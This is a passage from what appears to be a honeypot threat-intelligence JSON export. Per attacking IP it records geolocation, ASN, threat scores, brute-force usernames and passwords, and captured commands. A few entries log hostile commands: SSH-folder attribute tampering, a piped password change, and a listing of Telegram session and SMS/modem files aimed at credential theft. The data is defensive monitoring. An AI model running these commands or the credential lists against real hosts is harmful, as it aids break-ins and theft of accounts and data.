      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 30860,
      "as_org": "Virtual Systems LLC",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:46:05.497000+00:00",
        "last_seen_30d": "2026-05-31T07:58:15.464000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "89.37.116.208": {
      "attack_count": 156,
      "first_seen": "2026-05-08T23:04:38.824Z",
      "last_seen": "2026-05-31T17:11:26.463Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T23:04:38.824000+00:00",
        "last_seen_30d": "2026-05-31T17:12:30.426000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "176.65.139.116": {
      "attack_count": 150,
      "first_seen": "2026-05-31T11:51:52.433Z",
      "last_seen": "2026-05-31T16:21:01.970Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "",
        "default",
        "ftp",
        "pi",
        "postgres",
        "support",
        "test",
        "ubnt",
        "ubuntu"
      ],
      "passwords_attempted": [
        "",
        "password",
        "admin",
        "default",
        "1234",
        "123456",
        "admin123",
        "admin1234",
        "ftp",
        "postgres",
        "raspberry",
        "root",
        "support",
        "system",
        "test",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 61.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.2,
        "persistence": 12.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 15,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T01:47:31+00:00",
        "last_seen_30d": "2026-05-31T16:30:56.227000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 107,
        "Honeytrap": 9
      }
    },
    "89.37.117.16": {
      "attack_count": 150,
      "first_seen": "2026-05-08T08:26:28.904Z",
      "last_seen": "2026-05-31T06:39:27.367Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Bucharest",
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:26:28.904000+00:00",
        "last_seen_30d": "2026-05-31T06:40:31.424000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 75
      }
    },
    "152.32.171.213": {
      "attack_count": 143,
      "first_seen": "2026-05-04T00:16:48.690Z",
      "last_seen": "2026-05-04T01:29:17.201Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "user",
        "toptest",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "admin_user",
        "debian",
        "deployer",
        "github",
        "kafka",
        "newuser",
        "odoo",
        "student",
        "testuser",
        "useradmin",
        "vpn"
      ],
      "passwords_attempted": [
        "!qwe123",
        "1",
        "123",
        "123456",
        "1q2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "Passw0rd12",
        "Password1",
        "aaaaaa",
        "admin",
        "admin3344",
        "admin@123$%^",
        "admin_user",
        "adminadmin",
        "kafka@2023",
        "master",
        "odoo@2022",
        "oracle7",
        "rmb123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 206,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:16:48.690000+00:00",
        "last_seen_30d": "2026-05-04T01:30:26.705000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 63
      }
    },
    "176.65.128.179": {
      "attack_count": 138,
      "first_seen": "2026-05-05T03:22:14.185Z",
      "last_seen": "2026-05-31T21:17:03.669Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 56.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:22:14.185000+00:00",
        "last_seen_30d": "2026-05-31T21:18:09.888000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 70
      }
    },
    "101.109.208.24": {
      "attack_count": 119,
      "first_seen": "2026-05-04T00:39:16.282Z",
      "last_seen": "2026-05-04T01:09:13.446Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "hadoop",
        "345gs5662d34",
        "datauser",
        "lsfadmin",
        "myadmin",
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "345gs5662d34",
        "@admin1234",
        "a123456",
        "datauser",
        "hadoop@123",
        "pa$$w0rd1",
        "q123456.",
        "qwerty1234",
        "server00"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"datauser\\nNfCIIc2gEB6n\\nNfCIIc2gEB6n\\n\"|passwd",
        "echo -e \"datauser\\nNfCIIc2gEB6n\\nNfCIIc2gEB6n\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:39:16.282000+00:00",
        "last_seen_30d": "2026-05-04T01:10:22.388000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "172.245.225.106": {
      "attack_count": 114,
      "first_seen": "2026-05-08T23:22:10.288Z",
      "last_seen": "2026-05-31T19:26:08.085Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 53.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T23:22:10.288000+00:00",
        "last_seen_30d": "2026-05-31T19:27:14.280000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "45.148.147.191": {
      "attack_count": 114,
      "first_seen": "2026-05-05T01:17:44.586Z",
      "last_seen": "2026-05-31T17:51:09.877Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "British Virgin Islands",
      "country_code": "VG",
      "city": null,
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:17:44.586000+00:00",
        "last_seen_30d": "2026-05-31T17:52:13.170000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "185.28.37.194": {
      "attack_count": 96,
      "first_seen": "2026-05-05T04:45:15.335Z",
      "last_seen": "2026-05-18T14:12:03.505Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213035,
      "as_org": "Des Capital B.V.",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:45:15.335000+00:00",
        "last_seen_30d": "2026-05-18T14:13:04.492000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "177.125.40.116": {
      "attack_count": 76,
      "first_seen": "2026-05-23T08:02:14.209Z",
      "last_seen": "2026-05-23T13:53:55.515Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campo do Tenente",
      "asn": 52606,
      "as_org": "BRASILNETS COM. ATAC. DE EQ. INFORMATICA LTDA ME",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:02:14.209000+00:00",
        "last_seen_30d": "2026-05-23T13:55:00.654000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 39
      }
    },
    "34.22.141.217": {
      "attack_count": 72,
      "first_seen": "2026-05-03T09:19:24.477Z",
      "last_seen": "2026-05-03T09:20:28.000Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1506",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:19:24.477000+00:00",
        "last_seen_30d": "2026-05-03T09:21:37.661000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "121.78.125.123": {
      "attack_count": 54,
      "first_seen": "2026-05-08T14:13:11.640Z",
      "last_seen": "2026-05-31T10:27:37.084Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 9286,
      "as_org": "KINX",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:13:11.640000+00:00",
        "last_seen_30d": "2026-05-31T10:28:46.809000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "148.113.201.25": {
      "attack_count": 54,
      "first_seen": "2026-05-15T02:31:48.381Z",
      "last_seen": "2026-05-31T01:48:24.557Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T02:31:48.381000+00:00",
        "last_seen_30d": "2026-05-31T01:49:27.607000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "72.255.32.167": {
      "attack_count": 52,
      "first_seen": "2026-05-04T18:51:41.856Z",
      "last_seen": "2026-05-04T23:44:28.599Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:51:41.856000+00:00",
        "last_seen_30d": "2026-05-04T23:45:33.586000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 28
      }
    },
    "112.103.74.115": {
      "attack_count": 46,
      "first_seen": "2026-05-20T05:40:59.737Z",
      "last_seen": "2026-05-20T07:53:17.953Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T05:40:59.737000+00:00",
        "last_seen_30d": "2026-05-20T07:54:23.432000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 25
      }
    },
    "24.167.188.95": {
      "attack_count": 46,
      "first_seen": "2026-05-04T19:04:49.605Z",
      "last_seen": "2026-05-04T19:15:10.542Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Greensboro",
      "asn": 11426,
      "as_org": "Charter Communications Inc",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:04:49.605000+00:00",
        "last_seen_30d": "2026-05-04T19:26:01.170000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 25
      }
    },
    "222.118.170.176": {
      "attack_count": 35,
      "first_seen": "2026-05-09T09:22:26.364Z",
      "last_seen": "2026-05-09T09:23:14.439Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheonan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:22:26.364000+00:00",
        "last_seen_30d": "2026-05-09T09:24:20.310000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "31.57.216.39": {
      "attack_count": 35,
      "first_seen": "2026-05-06T16:52:30.885Z",
      "last_seen": "2026-05-19T04:42:18.308Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "123456789"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:52:30.885000+00:00",
        "last_seen_30d": "2026-05-19T04:43:19.138000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 23
      }
    },
    "139.135.41.164": {
      "attack_count": 30,
      "first_seen": "2026-05-31T04:05:07.977Z",
      "last_seen": "2026-05-31T04:08:22.496Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T04:05:07.977000+00:00",
        "last_seen_30d": "2026-05-31T04:09:25.191000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "190.227.20.127": {
      "attack_count": 28,
      "first_seen": "2026-05-16T03:03:30.373Z",
      "last_seen": "2026-05-16T03:21:52.611Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Presidencia Roque S\u00e1enz Pe\u00f1a",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:03:30.373000+00:00",
        "last_seen_30d": "2026-05-16T03:23:30.447000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "183.212.245.83": {
      "attack_count": 24,
      "first_seen": "2026-05-11T16:16:25.652Z",
      "last_seen": "2026-05-11T16:21:53.065Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:16:25.652000+00:00",
        "last_seen_30d": "2026-05-11T16:23:02.186000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "185.89.249.3": {
      "attack_count": 24,
      "first_seen": "2026-05-14T02:23:33.825Z",
      "last_seen": "2026-05-29T06:24:28.908Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 203144,
      "as_org": "Host9x Web Solutions Limited",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:23:33.825000+00:00",
        "last_seen_30d": "2026-05-29T06:25:37.590000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "35.187.44.153": {
      "attack_count": 21,
      "first_seen": "2026-05-21T03:37:53.864Z",
      "last_seen": "2026-05-21T03:38:26.180Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T03:37:53.864000+00:00",
        "last_seen_30d": "2026-05-21T03:39:32.312000+00:00",
        "days_since_last_seen": 10
